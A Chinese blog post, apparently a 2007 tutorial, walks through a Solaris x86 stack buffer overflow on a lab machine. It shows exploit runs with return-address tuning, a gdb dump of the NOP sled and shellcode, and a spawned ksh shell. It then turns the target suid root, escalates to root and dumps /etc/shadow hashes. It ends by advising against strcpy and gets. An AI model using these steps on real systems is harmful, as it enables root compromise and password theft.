Chinaunix首页 | 论坛 | 博客
  • 博客访问: 361253
  • 博文数量: 102
  • 博客积分: 2000
  • 博客等级: 大尉
  • 技术积分: 1116
  • 用 户 组: 普通用户
  • 注册时间: 2007-03-29 16:21
文章分类

全部博文(102)

文章存档

2014年(10)

2011年(1)

2008年(2)

2007年(89)

我的朋友

分类: C/C++

2007-09-12 04:34:42

好了,我们来真枪实弹演习一下expl的威力。先用-16作为adjustment

shanghai =>expl -16
esp=0x08047bf8, adjustment=0xfffffff0, jump to 0x08047be8!
The input String is ?? ?? ?? ?? ??xWP???G?? ? ????/bin/ksh
Segmentation Fault(coredump)
shanghai =>

这里根据宏观调控估算的堆栈位置是0x08047bf8,再加上-16个字节来微调,所以覆盖Foo返回地址的应该是:0x08047bf8-0x10=0x08047be8。但是vul运行有段错误。让我们用GDB来分析一下错在哪儿。

shanghai =>
shanghai =>gdb vul core
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-pc-solaris2.8"...
Core was generated by `vul ?? ?? ?? ??
?? ?ogram terminated with
signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.1...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...done.
Loaded symbols for /usr/lib/libdl.so.1
#0 0x08047be8 in ?? ()
/*
先看一下寄存器的内容:
*/
(gdb) i reg
eax 0xba 186
ecx 0x0 0
edx 0xe109be00 -519455232
ebx 0xdfbfb000 -541085696
esp 0x8047b70 0x8047b70
ebp 0xbbbbbbb 0xbbbbbbb
esi 0x8047b6c 134511468
edi 0x8047c30 134511664
eip 0x8047be8 0x8047be8
eflags 0x10206 66054
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x0 0
fctrl 0x137f 4991
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type to continue, or q to quit---q
Quit
/*
由上面寄存器内容可以看见,就在段出错的那一刹那间,程序执行指针EIP指向的正是新的RetAddr----0x8047be8,程序在企图执行这个地址的指令时出了错。那么我们的黑客码在何处呢?它应该在地址0x8047be8附近不远处:
*/
(gdb) x/20x $eip-0x40
0x8047ba8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8047bb8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8047bc8: 0x90909090 0x90909090 0x90909090 0xd2331aeb
0x8047bd8: 0x14788d58 0x92ab5057 0x084288ab 0xb03bef83
0x8047be8: 0xb047ab9a 0x0bb0ab07 0xffffe1e8 0x69622fff
(gdb) x/20x $eip-0x20
0x8047bc8: 0x90909090 0x90909090 0x90909090 0xd2331aeb
0x8047bd8: 0x14788d58 0x92ab5057 0x084288ab 0xb03bef83
0x8047be8: 0xb047ab9a 0x0bb0ab07 0xffffe1e8 0x69622fff
0x8047bf8: 0x736b2f6e 0x08040068 0x08047ef9 0x08047f13
0x8047c08: 0x08047f22 0x08047f3d 0x08047f55 0x08047f70
(下略。。。)


哇塞,在距离新的RetAddr0x40字节的地方,就可以看见我们的干部0x90909090整整齐齐地排列着。实际上,我们的安全网在0x8047b6c0x8047bd0之间张开,而新的RetAddr地址0x8047be8却指在网外面。怪不得子程序返回时沿着0x8047be8跳到了安全网外面,造成coredump

看来我们需要对RetAddr作进一步微观调控:给它-64(0x40)字节,它就会指向安全网中:

shanghai =>expl -64
esp=0x08047bf8, adjustment=0xffffffc0, jump to 0x08047bb8!
The input String is ?? ?? ?? ?? ??xWP???G?? ? ????/bin/ksh
$
$
$ pwd
/export/home/moda/buf_of
$ ls -l
total 48
-rwxr-xr-x 1 moda other 10524 May 3 18:05 expl
-rw-r--r-- 1 moda other 1816 May 3 18:05 expl.c
-rwxr-xr-x 1 moda other 9416 May 8 14:18 vul
-rw-r--r-- 1 moda other 250 May 2 15:36 vul.c
$
$
$

Yeah!!中了!!!中举人了!!!!黑客码成功执行,产生一个ksh Shell,我们的prompt也由"shanghai =>"变成了ksh Shell"$"符号。

且慢高兴!革命尚未完全成功,黑客们还有努力。请注意上面用"ls -l"命令显示出vul仅属于普通用户,其权限只有一点点,在它的运行环境下产生的ksh Shell也就被限制得只有一点点权限。有很多事情,象加一个用户账号,减两个用户账号都是没法作的。这对于追求自由的黑客们来说,是万万不能接受的!!

那么如何提升权限呢?在UNIX中,很多可执行文件有一种特别的权限设置叫suid,它们的权限属性类似于"-rwsr-xr-x",里面有个"s"。这种权限表现为:文件的所有者为用户A,当用户B执行这个文件时,它的进程在运行过程中仍然具有所有者A的权限,而不是当前使用者B的权限。我这里罗哩罗嗦了半天你也许还不清楚,举个例子:在UNIX系统中的,普通用户如你我他她等通过命令passwd来改变密码,这个passwd的执行文件就设有suid权限。由于它的所有者为超级用户root,这样它在运行时就具有root的权限,所以它才可以修改/etc/passwd/etc/shadow的文件内容,帮你改变密码。假如它没有设置suid权限,它会以普通用户的权限运行,在修改/etc/passwd/etc/shadow时将得到"permission denied"的错误信息。

可以用find来查一下哪些文件具有suid权限:

shanghai =>
shanghai =>su
Password:
#
# cd /
# find . -type f -perm -4000 2>/dev/null
./export/home/moda/buf_of/vul.rt
./usr/lib/lp/bin/netpr
./usr/lib/fs/ufs/quota
./usr/lib/fs/ufs/ufsdump
./usr/lib/fs/ufs/ufsrestore
./usr/lib/pt_chmod
./usr/lib/utmp_update
./usr/lib/sendmail
./usr/lib/acct/accton
./usr/lib/uucp/remote.unknown
./usr/lib/uucp/uucico
./usr/lib/uucp/uusched
./usr/lib/uucp/uuxqt
./usr/bin/i86/ps
./usr/bin/i86/uptime
./usr/bin/i86/w
./usr/bin/at
./usr/bin/atq
./usr/bin/atrm
./usr/bin/crontab
./usr/bin/eject
./usr/bin/fdformat
./usr/bin/login
./usr/bin/newgrp
./usr/bin/passwd
./usr/bin/pfexec
./usr/bin/rcp
./usr/bin/rdist
(以下略。。。)
#

还很不少呢!如果我们能在其中找到一个执行程序有缓冲区溢出的毛病----vul那样,我们就可以用上面expl的方法泡制一个长的字符串去攻击它,让它溢出后产生一个shell。这时由于执行程序设有suid权限,它是以超级用户的权限运行,所以脱胎于它的shell也就继承了超级用户的权限。

看下面的例子,同样的执行程序vul,但给它超级用户rootsuid权限。

shanghai =>su
Password:
# ls -l
total 48
-rwxr-xr-x 1 moda other 10524 May 3 18:05 expl
-rw-r--r-- 1 moda other 1816 May 3 18:05 expl.c
-rwxr-xr-x 1 moda other 9416 May 8 14:18 vul
-rw-r--r-- 1 moda other 250 May 2 15:36 vul.c
# chown root vul
# chmod u+s vul
# ls -l
total 48
-rwxr-xr-x 1 moda other 10524 May 3 18:05 expl
-rw-r--r-- 1 moda other 1816 May 3 18:05 expl.c
-rwsr-xr-x 1 root other 9416 May 8 14:18 vul
-rw-r--r-- 1 moda other 250 May 2 15:36 vul.c
# exit
/*
在进行exploit之前,我只是moda----一只飞也飞不高的小小鸟而已,想要偷看/etc/shadow 的内容,却吃了个闭门羹。
*/
shanghai =>whoami
moda
shanghai =>id
uid=1001(moda) gid=1(other)
shanghai =>more /etc/shadow
/etc/shadow: Permission denied
/*
现在用同样的expl去攻击vul
*/
shanghai =>expl -64
esp=0x08047bf8, adjustment=0xffffffc0, jump to 0x08047bb8!
The input String is □




□□□bin/ksh
#
/*
看看我这下是谁?
*/
# /usr/ucb/whoami
root
# id
uid=1001(moda) gid=1(other) euid=0(root)
/*
我现在是超级用户root!!持有root的有效ID(EUID)。再也不是那只飞也飞不高的小小麻雀鸟,而是"天高任鸟飞"中的那只Eagle鸟,"海阔任鱼游"中的那条Shark鱼!!

我想要看/etc/shadow,系统就得给我看:
*/
# more /etc/shadow
root:nzlCZP092M48U:6445::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
moda:V7AGLwGPe6dm2:::::::

我还可以加减用户账号,还可以象网管那样踢别人屁股。。。哇,好自由好Happy!!

# exit
shanghai =>

 

结尾的话:编程时避免用不安全的函数人如:strcpystrcatscanfgetsgetc等等, 因为它们都不检查输入参数的大小,不检查缓冲区边界是否溢出。应该用它们的兄弟函数象strncpystrncat等等来防止缓冲区溢出。
阅读(598) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~